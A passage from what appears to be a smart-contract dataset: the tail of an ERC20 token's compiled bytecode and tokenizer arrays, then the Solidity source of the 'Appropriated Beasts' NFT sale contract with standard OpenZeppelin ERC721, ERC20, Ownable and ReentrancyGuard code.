ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea26469706673582212200948e62c532450a05e0775a1641c00bbd0639dd808639e4f8cd313e0ce78d63964736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 10354, 2629, 18939, 2581, 2549, 2094, 2509, 2050, 21619, 11387, 23632, 19961, 2050, 2509, 2497, 16147, 2575, 3540, 2620, 26224, 2278, 26337, 2278, 2546, 2575, 29292, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 4769, 2270, 3818, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,381
0x96Af82014d4352F36209590960d8160f2d4439e1
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract APPBEASTS is ERC721Enumerable, Ownable, ReentrancyGuard { using Strings for uint256; using ECDSA for bytes32; string private _baseTokenURI = "ipfs://bafybeifxt4xjig2jydeokozzicvhrls74t66prd7fmbh2orbw4y45ach7e/"; string private _contractURI = "ipfs://bafkreigkbofnj2eq2nnjt7przuhyqn2hdsjp7wlkjcayoolxxh7r7bdzva"; uint256 public maxSupply = 3100; uint256 public maxPresale = 3100; uint256 public maxPresaleMintQty = 2; uint256 public maxPublicsaleMintQty = 2; mapping(address => uint256) public mintedPresaleAddresses; mapping(address => uint256) public mintedPublicsaleAddresses; address private _internalSignerAddress; address private _withdrawalAddress; uint256 public pricePerToken = 80000000000000000; bool public metadataIsLocked = false; bool public publicSaleLive = false; bool public presaleLive = false; constructor(address internalSignerAddress, address withdrawalAddress) ERC721("Appropriated Beasts", "APPBEASTS") { _internalSignerAddress = internalSignerAddress; _withdrawalAddress = withdrawalAddress; } // public sale mint function mint(uint256 qty) external payable nonReentrant { uint256 mintedAmount = mintedPublicsaleAddresses[msg.sender]; require(publicSaleLive, "Public sale not live"); require( mintedAmount + qty <= maxPublicsaleMintQty, "Exceeded maximum public sale quantity" ); require(totalSupply() + qty <= maxSupply, "Out of stock"); require(pricePerToken * qty == msg.value, "Invalid value"); for (uint256 i = 0; i < qty; i++) { uint256 tokenId = totalSupply() + 1; _safeMint(msg.sender, tokenId); } mintedPublicsaleAddresses[msg.sender] = mintedAmount + qty; } // presale mint function presaleMint( bytes32 hash, bytes memory sig, uint256 qty ) external payable nonReentrant { uint256 mintedAmount = mintedPresaleAddresses[msg.sender]; require(presaleLive, "Presale not live"); require(hashSender(msg.sender) == hash, "hash check failed"); require( mintedAmount + qty <= maxPresaleMintQty, "Exceeded maximum pre sale quantity" ); require(isInternalSigner(hash, sig), "Direct mint unavailable"); require(totalSupply() + qty <= maxPresale, "Presale out of stock"); require(pricePerToken * qty == msg.value, "Invalid value"); for (uint256 i = 0; i < qty; i++) { uint256 tokenId = totalSupply() + 1; _safeMint(msg.sender, tokenId); } mintedPresaleAddresses[msg.sender] = mintedAmount + qty; } // admin can mint them for giveaways, airdrops etc function adminMint(uint256 qty, address to) external payable onlyOwner { require(qty > 0, "minimum 1 token"); require(totalSupply() + qty <= maxSupply, "out of stock"); for (uint256 i = 0; i < qty; i++) { _safeMint(to, totalSupply() + 1); } } function burn(uint256 tokenId) public virtual { require( _isApprovedOrOwner(_msgSender(), tokenId), "caller is not owner nor approved" ); _burn(tokenId); } function tokenExists(uint256 _tokenId) external view returns (bool) { return _exists(_tokenId); } function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) { return _isApprovedOrOwner(_spender, _tokenId); } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string( abi.encodePacked(_baseTokenURI, _tokenId.toString(), ".json") ); } function withdrawEarnings() external onlyOwner { (bool success, ) = payable(_withdrawalAddress).call{value: address(this).balance}(""); require(success, "Transfer failed."); } function reclaimERC20(IERC20 erc20Token) external onlyOwner { erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this))); } function changePrice(uint256 newPrice) external onlyOwner { pricePerToken = newPrice; } function togglePresaleStatus() external onlyOwner { presaleLive = !presaleLive; } function togglePublicSaleStatus() external onlyOwner { publicSaleLive = !publicSaleLive; } function changeMaxPresale(uint256 _newMaxPresale) external onlyOwner { maxPresale = _newMaxPresale; } function changeMaxPresaleMintQty(uint256 _maxPresaleMintQty) external onlyOwner { maxPresaleMintQty = _maxPresaleMintQty; } function changeMaxPublicsaleMintQty(uint256 _maxPublicsaleMintQty) external onlyOwner { maxPublicsaleMintQty = _maxPublicsaleMintQty; } function setNewMaxSupply(uint256 newMaxSupply) external onlyOwner { require(newMaxSupply < maxSupply, "you can only decrease it"); maxSupply = newMaxSupply; } function setBaseURI(string memory newBaseURI) external onlyOwner { require(!metadataIsLocked, "Metadata is locked"); _baseTokenURI = newBaseURI; } function setContractURI(string memory newuri) external onlyOwner { require(!metadataIsLocked, "Metadata is locked"); _contractURI = newuri; } function setWithdrawalAddress( address withdrawalAddress) external onlyOwner { _withdrawalAddress = withdrawalAddress; } function hashSender(address sender) private pure returns (bytes32) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encode(sender)) ) ); return hash; } function isInternalSigner(bytes32 hash, bytes memory signature) private view returns (bool) { return _internalSignerAddress == hash.recover(signature); } function setInternalSigner(address addr) external onlyOwner { _internalSignerAddress = addr; } function contractURI() public view returns (string memory) { return _contractURI; } function lockMetaData() external onlyOwner { metadataIsLocked = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the 